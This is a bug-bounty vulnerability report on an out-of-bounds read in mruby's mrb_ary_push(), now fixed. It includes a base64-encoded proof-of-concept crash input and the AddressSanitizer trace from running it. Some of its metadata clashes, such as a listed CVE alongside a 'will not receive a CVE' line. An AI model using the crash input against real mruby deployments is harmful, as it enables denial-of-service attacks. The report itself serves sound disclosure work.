Out-of-bounds Read in mruby/mruby

Valid Reported on Feb 21st 2022

0

Description

OOB read occurs in mrb_ary_push().
commit : 5d9239c2c4644fa8a59d9f5159b4950569dd5e0e

Proof of Concept

```
# poc
$ echo -ne "WzpfXVswLDAsMCwwLDAsMCwwLDAsMCwwLDBdPTpO" | base64 -d >

# ASAN
$ ./bin/mruby poc

AddressSanitizer:DEADLYSIGNAL
=================================================================
==503792==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000011 (
==503792==The signal is caused by a READ memory access.
==503792==Hint: address points to the zero page.
    #0 0x4f7484 in mrb_ary_push /home/alkyne/mruby-debug/src/array.c:503:17
    #1 0x5ee6f1 in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:2633:9
    #2 0x5c1bca in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1130:12
    #3 0x5bbfd9 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3039:12
    #4 0x697a2b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-com
    #5 0x698c0b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgem
    #6 0x4cf83f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/to
    #7 0x7ffff7a710b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/c
    #8 0x41d6ed in _start (/home/alkyne/mruby-debug/bin/mruby+0x41d6ed)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/alkyne/mruby-debug/sr
==503792==ABORTING
```

Occurrences

C array.c L2633 C array.c L3039

CVE
CVE-2022-0717
(Published)

Vulnerability Type
CWE-125: Out-of-bounds Read

Severity
Medium (6.8)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 458 times.

We are processing your report and will contact the **mruby** team within 24 hours. 9 months ago

Yukihiro "Matz" Matsumoto modified the report 9 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in 3.2 with commit f72315 9 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

array.c#L2633 has been validated ✔

array.c#L3039 has been validated ✔

Sign in to join this conversation